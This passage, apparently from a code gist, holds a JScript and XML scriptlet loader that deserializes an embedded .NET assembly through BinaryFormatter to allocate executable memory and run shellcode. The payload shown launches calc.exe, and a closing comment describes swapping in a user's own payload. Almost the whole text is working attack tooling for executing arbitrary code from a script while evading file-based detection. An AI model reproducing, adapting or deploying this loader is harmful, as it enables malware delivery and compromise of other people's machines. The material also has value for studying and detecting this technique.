0,0,0,0,0,0,0,32,0,0,12,0,0,0,64,58,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,1,13,0,0,0,4,0,0,0,9,23,0,0,0,9,6,0,0,0,9,22,0,0,0,6,26,
0,0,0,39,83,121,115,116,101,109,46,82,101,102,108,101,99,116,105,111,110,46,65,115,115,101,109,98,108,121,32,76,
111,97,100,40,66,121,116,101,91,93,41,8,0,0,0,10,11
];
var entry_class = 'TestClass';
try {
var stm = new ActiveXObject('System.IO.MemoryStream');
var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
var al = new ActiveXObject('System.Collections.ArrayList')
for (i in serialized_obj) {
stm.WriteByte(serialized_obj[i]);
}
stm.Position = 0;
var n = fmt.SurrogateSelector;
var d = fmt.Deserialize_2(stm);
al.Add(n);
var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);
} catch (e) {
WScript.Echo(e.message);
}
<?xml version="1.0" encoding="utf-8"?>
<package>
<component
id="dummy">
<registration
description="dummy"
progid="dummy"
version="1.00"
remotable="True">
<script
language="JScript"><![CDATA[
var serialized_obj = [
0,1,0,0,0,255,255,255,255,1,0,0,0,0,0,0,0,4,1,0,0,0,34,83,121,115,116,101,109,46,68,101,108,
101,103,97,116,101,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,3,0,0,0,8,68,101,108,
101,103,97,116,101,7,116,97,114,103,101,116,48,7,109,101,116,104,111,100,48,3,3,3,48,83,121,115,116,101,109,46,
68,101,108,101,103,97,116,101,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,43,68,101,108,101,
103,97,116,101,69,110,116,114,121,34,83,121,115,116,101,109,46,68,101,108,101,103,97,116,101,83,101,114,105,97,108,105,
122,97,116,105,111,110,72,111,108,100,101,114,47,83,121,115,116,101,109,46,82,101,102,108,101,99,116,105,111,110,46,77,
101,109,98,101,114,73,110,102,111,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,9,2,0,0,
0,9,3,0,0,0,9,4,0,0,0,4,2,0,0,0,48,83,121,115,116,101,109,46,68,101,108,101,103,97,116,101,
83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,43,68,101,108,101,103,97,116,101,69,110,116,114,
121,7,0,0,0,4,116,121,112,101,8,97,115,115,101,109,98,108,121,6,116,97,114,103,101,116,18,116,97,114,103,101,
116,84,121,112,101,65,115,115,101,109,98,108,121,14,116,97,114,103,101,116,84,121,112,101,78,97,109,101,10,109,101,116,
104,111,100,78,97,109,101,13,100,101,108,101,103,97,116,101,69,110,116,114,121,1,1,2,1,1,1,3,48,83,121,115,
116,101,109,46,68,101,108,101,103,97,116,101,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,43,
68,101,108,101,103,97,116,101,69,110,116,114,121,6,5,0,0,0,47,83,121,115,116,101,109,46,82,117,110,116,105,109,
101,46,82,101,109,111,116,105,110,103,46,77,101,115,115,97,103,105,110,103,46,72,101,97,100,101,114,72,97,110,100,108,
101,114,6,6,0,0,0,75,109,115,99,111,114,108,105,98,44,32,86,101,114,115,105,111,110,61,50,46,48,46,48,46,
48,44,32,67,117,108,116,117,114,101,61,110,101,117,116,114,97,108,44,32,80,117,98,108,105,99,75,101,121,84,111,107,
101,110,61,98,55,55,97,53,99,53,54,49,57,51,52,101,48,56,57,6,7,0,0,0,7,116,97,114,103,101,116,48,
9,6,0,0,0,6,9,0,0,0,15,83,121,115,116,101,109,46,68,101,108,101,103,97,116,101,6,10,0,0,0,13,
68,121,110,97,109,105,99,73,110,118,111,107,101,10,4,3,0,0,0,34,83,121,115,116,101,109,46,68,101,108,101,103,
97,116,101,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,3,0,0,0,8,68,101,108,101,103,
97,116,101,7,116,97,114,103,101,116,48,7,109,101,116,104,111,100,48,3,7,3,48,83,121,115,116,101,109,46,68,101,
108,101,103,97,116,101,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,43,68,101,108,101,103,97,
116,101,69,110,116,114,121,2,47,83,121,115,116,101,109,46,82,101,102,108,101,99,116,105,111,110,46,77,101,109,98,101,
114,73,110,102,111,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,9,11,0,0,0,9,12,0,
0,0,9,13,0,0,0,4,4,0,0,0,47,83,121,115,116,101,109,46,82,101,102,108,101,99,116,105,111,110,46,77,
101,109,98,101,114,73,110,102,111,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,6,0,0,0,
4,78,97,109,101,12,65,115,115,101,109,98,108,121,78,97,109,101,9,67,108,97,115,115,78,97,109,101,9,83,105,103,
110,97,116,117,114,101,10,77,101,109,98,101,114,84,121,112,101,16,71,101,110,101,114,105,99,65,114,103,117,109,101,110,
116,115,1,1,1,1,0,3,8,13,83,121,115,116,101,109,46,84,121,112,101,91,93,9,10,0,0,0,9,6,0,0,
0,9,9,0,0,0,6,17,0,0,0,44,83,121,115,116,101,109,46,79,98,106,101,99,116,32,68,121,110,97,109,105,
99,73,110,118,111,107,101,40,83,121,115,116,101,109,46,79,98,106,101,99,116,91,93,41,8,0,0,0,10,1,11,0,
0,0,2,0,0,0,6,18,0,0,0,32,83,121,115,116,101,109,46,88,109,108,46,83,99,104,101,109,97,46,88,109,
108,86,97,108,117,101,71,101,116,116,101,114,6,19,0,0,0,77,83,121,115,116,101,109,46,88,109,108,44,32,86,101,
114,115,105,111,110,61,50,46,48,46,48,46,48,44,32,67,117,108,116,117,114,101,61,110,101,117,116,114,97,108,44,32,
80,117,98,108,105,99,75,101,121,84,111,107,101,110,61,98,55,55,97,53,99,53,54,49,57,51,52,101,48,56,57,6,
20,0,0,0,7,116,97,114,103,101,116,48,9,6,0,0,0,6,22,0,0,0,26,83,121,115,116,101,109,46,82,101,
102,108,101,99,116,105,111,110,46,65,115,115,101,109,98,108,121,6,23,0,0,0,4,76,111,97,100,10,15,12,0,0,
0,0,20,0,0,2,77,90,144,0,3,0,0,0,4,0,0,0,255,255,0,0,184,0,0,0,0,0,0,0,64,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,128,0,0,0,14,31,186,14,0,180,9,205,33,184,1,76,205,33,84,104,105,115,32,112,114,111,103,114,97,109,
32,99,97,110,110,111,116,32,98,101,32,114,117,110,32,105,110,32,68,79,83,32,109,111,100,101,46,13,13,10,36,0,
0,0,0,0,0,0,80,69,0,0,76,1,3,0,48,245,236,88,0,0,0,0,0,0,0,0,224,0,2,1,11,1,
8,0,0,12,0,0,0,6,0,0,0,0,0,0,62,42,0,0,0,32,0,0,0,64,0,0,0,0,64,0,0,32,
0,0,0,2,0,0,4,0,0,0,0,0,0,0,4,0,0,0,0,0,0,0,0,128,0,0,0,2,0,0,0,0,
0,0,3,0,64,133,0,0,16,0,0,16,0,0,0,0,16,0,0,16,0,0,0,0,0,0,16,0,0,0,0,0,
0,0,0,0,0,0,236,41,0,0,79,0,0,0,0,64,0,0,160,2,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,96,0,0,12,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,
0,0,8,0,0,0,0,0,0,0,0,0,0,0,8,32,0,0,72,0,0,0,0,0,0,0,0,0,0,0,46,116,
101,120,116,0,0,0,68,10,0,0,0,32,0,0,0,12,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,32,0,0,96,46,114,115,114,99,0,0,0,160,2,0,0,0,64,0,0,0,4,0,0,0,14,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,64,0,0,64,46,114,101,108,111,99,0,0,12,0,0,0,0,96,0,0,0,2,
0,0,0,18,0,0,0,0,0,0,0,0,0,0,0,0,0,0,64,0,0,66,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,32,42,0,0,0,0,0,0,72,0,0,0,2,0,5,0,8,35,0,0,228,6,0,0,1,0,
0,0,1,0,0,6,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,78,0,114,1,0,0,112,40,3,0,
0,10,0,40,3,0,0,6,0,42,66,2,40,4,0,0,10,0,0,40,3,0,0,6,0,0,42,0,0,0,252,72,
131,228,240,232,192,0,0,0,65,81,65,80,82,81,86,72,49,210,101,72,139,82,96,72,139,82,24,72,139,82,32,72,
139,114,80,72,15,183,74,74,77,49,201,72,49,192,172,60,97,124,2,44,32,65,193,201,13,65,1,193,226,237,82,65,
81,72,139,82,32,139,66,60,72,1,208,139,128,136,0,0,0,72,133,192,116,103,72,1,208,80,139,72,24,68,139,64,
32,73,1,208,227,86,72,255,201,65,139,52,136,72,1,214,77,49,201,72,49,192,172,65,193,201,13,65,1,193,56,224,
117,241,76,3,76,36,8,69,57,209,117,216,88,68,139,64,36,73,1,208,102,65,139,12,72,68,139,64,28,73,1,208,
65,139,4,136,72,1,208,65,88,65,88,94,89,90,65,88,65,89,65,90,72,131,236,32,65,82,255,224,88,65,89,90,
72,139,18,233,87,255,255,255,93,72,186,1,0,0,0,0,0,0,0,72,141,141,1,1,0,0,65,186,49,139,111,135,
255,213,187,224,29,42,10,65,186,166,149,189,157,255,213,72,131,196,40,60,6,124,10,128,251,224,117,5,187,71,19,114,
111,106,0,89,65,137,218,255,213,99,97,108,99,0,252,232,130,0,0,0,96,137,229,49,192,100,139,80,48,139,82,12,
139,82,20,139,114,40,15,183,74,38,49,255,172,60,97,124,2,44,32,193,207,13,1,199,226,242,82,87,139,82,16,139,
74,60,139,76,17,120,227,72,1,209,81,139,89,32,1,211,139,73,24,227,58,73,139,52,139,1,214,49,255,172,193,207,
13,1,199,56,224,117,246,3,125,248,59,125,36,117,228,88,139,88,36,1,211,102,139,12,75,139,88,28,1,211,139,4,
139,1,208,137,68,36,36,91,91,97,89,90,81,255,224,95,95,90,139,18,235,141,93,106,1,141,133,178,0,0,0,80,
104,49,139,111,135,255,213,187,224,29,42,10,104,166,149,189,157,255,213,60,6,124,10,128,251,224,117,5,187,71,19,114,
111,106,0,83,255,213,99,97,108,99,46,101,120,101,0,0,0,0,19,48,6,0,146,0,0,0,1,0,0,17,0,32,
16,1,0,0,141,5,0,0,1,37,208,3,0,0,4,40,6,0,0,10,11,32,193,0,0,0,141,5,0,0,1,37,
208,4,0,0,4,40,6,0,0,10,12,40,7,0,0,10,30,254,1,22,254,1,19,7,17,7,45,6,0,7,10,0,
43,4,0,8,10,0,22,6,142,105,126,1,0,0,4,126,2,0,0,4,40,4,0,0,6,13,6,22,9,6,142,105,
40,8,0,0,10,0,126,9,0,0,10,19,4,22,19,5,126,9,0,0,10,19,6,22,22,9,17,6,22,18,5,40,
5,0,0,6,19,4,17,4,21,40,6,0,0,6,38,42,74,32,0,16,0,0,128,1,0,0,4,31,64,128,2,0,
0,4,42,30,2,40,4,0,0,10,42,0,0,0,66,83,74,66,1,0,1,0,0,0,0,0,12,0,0,0,118,50,
46,48,46,53,48,55,50,55,0,0,0,0,5,0,108,0,0,0,144,2,0,0,35,126,0,0,252,2,0,0,28,3,
0,0,35,83,116,114,105,110,103,115,0,0,0,0,24,6,0,0,36,0,0,0,35,85,83,0,60,6,0,0,16,0,
0,0,35,71,85,73,68,0,0,0,76,6,0,0,152,0,0,0,35,66,108,111,98,0,0,0,0,0,0,0,2,0,
0,1,87,149,2,52,9,2,0,0,0,250,1,51,0,22,0,0,1,0,0,0,13,0,0,0,6,0,0,0,4,0,
0,0,8,0,0,0,12,0,0,0,10,0,0,0,3,0,0,0,2,0,0,0,1,0,0,0,1,0,0,0,3,0,
0,0,2,0,0,0,1,0,0,0,1,0,0,0,2,0,0,0,0,0,10,0,1,0,0,0,0,0,6,0,58,0,
51,0,6,0,193,0,161,0,6,0,225,0,161,0,6,0,7,1,51,0,6,0,25,1,51,0,6,0,99,1,161,0,
6,0,126,1,51,0,6,0,186,1,161,0,6,0,201,1,51,0,6,0,207,1,51,0,6,0,36,2,51,0,6,0,
83,2,52,2,6,0,101,2,52,2,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,16,0,22,0,0,0,
5,0,1,0,1,0,1,0,16,0,32,0,0,0,5,0,1,0,3,0,0,0,0,0,30,1,0,0,5,0,3,0,
9,0,19,1,0,0,136,1,0,0,29,0,5,0,9,0,19,1,0,0,242,1,0,0,29,0,5,0,9,0,17,0,
81,0,18,0,17,0,92,0,18,0,19,1,166,1,61,0,19,1,16,2,73,0,80,32,0,0,0,0,150,0,65,0,
10,0,1,0,100,32,0,0,0,0,134,24,70,0,14,0,1,0,76,34,0,0,0,0,150,0,76,0,10,0,1,0,
0,0,0,0,128,0,145,32,115,0,21,0,1,0,0,0,0,0,128,0,145,32,128,0,29,0,5,0,0,0,0,0,
128,0,145,32,141,0,40,0,11,0,253,34,0,0,0,0,134,24,70,0,14,0,13,0,234,34,0,0,0,0,145,24,
19,3,10,0,13,0,0,0,1,0,129,2,0,0,2,0,141,2,0,0,3,0,146,2,0,0,4,0,163,2,0,0,
1,0,173,2,0,0,2,0,192,2,0,0,3,0,204,2,0,0,4,0,219,2,0,0,5,0,225,2,0,0,6,0,
241,2,0,0,1,0,252,2,0,0,2,0,4,3,17,0,70,0,46,0,25,0,70,0,14,0,33,0,15,1,51,0,
9,0,70,0,14,0,49,0,70,0,14,0,65,0,226,1,65,0,89,0,43,2,77,0,97,0,91,2,81,0,89,0,
96,2,90,0,105,0,70,0,107,0,46,0,11,0,112,0,46,0,19,0,121,0,131,0,43,0,56,0,1,0,16,1,
0,0,5,0,1,0,193,0,0,0,6,0,93,0,120,2,0,1,9,0,115,0,1,0,0,1,11,0,128,0,1,0,
0,1,13,0,141,0,1,0,120,32,0,0,3,0,136,33,0,0,4,0,4,128,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,255,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,1,0,42,0,0,0,0,0,5,0,
4,0,6,0,4,0,0,0,0,0,0,60,77,111,100,117,108,101,62,0,101,120,97,109,112,108,101,46,101,120,101,0,
84,101,115,116,67,108,97,115,115,0,83,104,101,108,108,67,111,100,101,0,109,115,99,111,114,108,105,98,0,83,121,115,
116,101,109,0,79,98,106,101,99,116,0,77,97,105,110,0,46,99,116,111,114,0,69,120,101,99,0,77,69,77,95,67,
79,77,77,73,84,0,80,65,71,69,95,69,88,69,67,85,84,69,95,82,69,65,68,87,82,73,84,69,0,86,105,114,
116,117,97,108,65,108,108,111,99,0,67,114,101,97,116,101,84,104,114,101,97,100,0,87,97,105,116,70,111,114,83,105,
110,103,108,101,79,98,106,101,99,116,0,83,121,115,116,101,109,46,82,117,110,116,105,109,101,46,67,111,109,112,105,108,
101,114,83,101,114,118,105,99,101,115,0,67,111,109,112,105,108,97,116,105,111,110,82,101,108,97,120,97,116,105,111,110,
115,65,116,116,114,105,98,117,116,101,0,82,117,110,116,105,109,101,67,111,109,112,97,116,105,98,105,108,105,116,121,65,
116,116,114,105,98,117,116,101,0,101,120,97,109,112,108,101,0,67,111,110,115,111,108,101,0,87,114,105,116,101,76,105,
110,101,0,66,121,116,101,0,60,80,114,105,118,97,116,101,73,109,112,108,101,109,101,110,116,97,116,105,111,110,68,101,
116,97,105,108,115,62,123,56,52,70,49,69,51,48,49,45,68,48,51,50,45,52,49,49,49,45,57,54,57,68,45,66,
69,52,50,56,57,52,49,68,66,53,65,125,0,67,111,109,112,105,108,101,114,71,101,110,101,114,97,116,101,100,65,116,
116,114,105,98,117,116,101,0,86,97,108,117,101,84,121,112,101,0,95,95,83,116,97,116,105,99,65,114,114,97,121,73,
110,105,116,84,121,112,101,83,105,122,101,61,50,55,50,0,36,36,109,101,116,104,111,100,48,120,54,48,48,48,48,48,
51,45,49,0,82,117,110,116,105,109,101,72,101,108,112,101,114,115,0,65,114,114,97,121,0,82,117,110,116,105,109,101,
70,105,101,108,100,72,97,110,100,108,101,0,73,110,105,116,105,97,108,105,122,101,65,114,114,97,121,0,95,95,83,116,
97,116,105,99,65,114,114,97,121,73,110,105,116,84,121,112,101,83,105,122,101,61,49,57,51,0,36,36,109,101,116,104,
111,100,48,120,54,48,48,48,48,48,51,45,50,0,73,110,116,80,116,114,0,103,101,116,95,83,105,122,101,0,83,121,
115,116,101,109,46,82,117,110,116,105,109,101,46,73,110,116,101,114,111,112,83,101,114,118,105,99,101,115,0,77,97,114,
115,104,97,108,0,67,111,112,121,0,90,101,114,111,0,68,108,108,73,109,112,111,114,116,65,116,116,114,105,98,117,116,
101,0,107,101,114,110,101,108,51,50,0,108,112,83,116,97,114,116,65,100,100,114,0,115,105,122,101,0,102,108,65,108,
108,111,99,97,116,105,111,110,84,121,112,101,0,102,108,80,114,111,116,101,99,116,0,108,112,84,104,114,101,97,100,65,
116,116,114,105,98,117,116,101,115,0,100,119,83,116,97,99,107,83,105,122,101,0,108,112,83,116,97,114,116,65,100,100,
114,101,115,115,0,112,97,114,97,109,0,100,119,67,114,101,97,116,105,111,110,70,108,97,103,115,0,108,112,84,104,114,
101,97,100,73,100,0,104,72,97,110,100,108,101,0,100,119,77,105,108,108,105,115,101,99,111,110,100,115,0,46,99,99,
116,111,114,0,0,0,0,33,67,0,111,0,110,0,102,0,117,0,115,0,101,0,32,0,65,0,110,0,97,0,108,0,
121,0,115,0,116,0,115,0,0,0,1,227,241,132,50,208,17,65,150,157,190,66,137,65,219,90,0,8,183,122,92,86,
25,52,224,137,3,0,0,1,3,32,0,1,2,6,9,7,0,4,24,9,9,9,9,10,0,6,24,9,9,24,24,9,
16,9,5,0,2,9,24,9,4,32,1,1,8,4,0,1,1,14,4,1,0,0,0,3,6,17,20,7,0,2,1,18,
37,17,41,3,6,17,24,3,0,0,8,8,0,4,1,29,5,8,24,8,2,6,24,13,7,8,29,5,29,5,29,5,
24,24,9,24,2,4,32,1,1,14,8,1,0,8,0,0,0,0,0,30,1,0,1,0,84,2,22,87,114,97,112,78,
111,110,69,120,99,101,112,116,105,111,110,84,104,114,111,119,115,1,20,42,0,0,0,0,0,0,0,0,0,0,46,42,
0,0,0,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,42,0,0,0,0,
0,0,0,0,0,0,0,0,95,67,111,114,69,120,101,77,97,105,110,0,109,115,99,111,114,101,101,46,100,108,108,0,
0,0,0,0,255,37,0,32,64,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,16,0,0,0,24,0,0,128,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,48,0,0,128,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,1,0,0,0,0,0,72,0,0,0,88,64,0,0,68,2,0,0,0,0,0,0,0,0,0,0,68,2,
52,0,0,0,86,0,83,0,95,0,86,0,69,0,82,0,83,0,73,0,79,0,78,0,95,0,73,0,78,0,70,0,
79,0,0,0,0,0,189,4,239,254,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,63,0,
0,0,0,0,0,0,4,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,68,0,0,0,1,0,
86,0,97,0,114,0,70,0,105,0,108,0,101,0,73,0,110,0,102,0,111,0,0,0,0,0,36,0,4,0,0,0,
84,0,114,0,97,0,110,0,115,0,108,0,97,0,116,0,105,0,111,0,110,0,0,0,0,0,0,0,176,4,164,1,
0,0,1,0,83,0,116,0,114,0,105,0,110,0,103,0,70,0,105,0,108,0,101,0,73,0,110,0,102,0,111,0,
0,0,128,1,0,0,1,0,48,0,48,0,48,0,48,0,48,0,52,0,98,0,48,0,0,0,44,0,2,0,1,0,
70,0,105,0,108,0,101,0,68,0,101,0,115,0,99,0,114,0,105,0,112,0,116,0,105,0,111,0,110,0,0,0,
0,0,32,0,0,0,48,0,8,0,1,0,70,0,105,0,108,0,101,0,86,0,101,0,114,0,115,0,105,0,111,0,
110,0,0,0,0,0,48,0,46,0,48,0,46,0,48,0,46,0,48,0,0,0,56,0,12,0,1,0,73,0,110,0,
116,0,101,0,114,0,110,0,97,0,108,0,78,0,97,0,109,0,101,0,0,0,101,0,120,0,97,0,109,0,112,0,
108,0,101,0,46,0,101,0,120,0,101,0,0,0,40,0,2,0,1,0,76,0,101,0,103,0,97,0,108,0,67,0,
111,0,112,0,121,0,114,0,105,0,103,0,104,0,116,0,0,0,32,0,0,0,64,0,12,0,1,0,79,0,114,0,
105,0,103,0,105,0,110,0,97,0,108,0,70,0,105,0,108,0,101,0,110,0,97,0,109,0,101,0,0,0,101,0,
120,0,97,0,109,0,112,0,108,0,101,0,46,0,101,0,120,0,101,0,0,0,52,0,8,0,1,0,80,0,114,0,
111,0,100,0,117,0,99,0,116,0,86,0,101,0,114,0,115,0,105,0,111,0,110,0,0,0,48,0,46,0,48,0,
46,0,48,0,46,0,48,0,0,0,56,0,8,0,1,0,65,0,115,0,115,0,101,0,109,0,98,0,108,0,121,0,
32,0,86,0,101,0,114,0,115,0,105,0,111,0,110,0,0,0,48,0,46,0,48,0,46,0,48,0,46,0,48,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,32,0,0,12,0,0,0,64,58,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,1,13,0,0,0,4,0,0,0,9,23,0,0,0,9,6,0,0,0,9,22,0,0,0,6,26,
0,0,0,39,83,121,115,116,101,109,46,82,101,102,108,101,99,116,105,111,110,46,65,115,115,101,109,98,108,121,32,76,
111,97,100,40,66,121,116,101,91,93,41,8,0,0,0,10,11
];
var entry_class = 'TestClass';
try {
var stm = new ActiveXObject('System.IO.MemoryStream');
var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
var al = new ActiveXObject('System.Collections.ArrayList')
for (i in serialized_obj) {
stm.WriteByte(serialized_obj[i]);
}
stm.Position = 0;
var n = fmt.SurrogateSelector;
var d = fmt.Deserialize_2(stm);
al.Add(n);
var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);
} catch (e) {
WScript.Echo(e.message);
}]]></script>
</registration>
</component>
</package>

qgrosperrin commented Apr 12, 2017 edited

Tried to use it with my own generated calc payload and getting the following error, displayed in a pop-up window:
"[222,5] 'WScript' is undefined". Removed this line but then nothing happens.

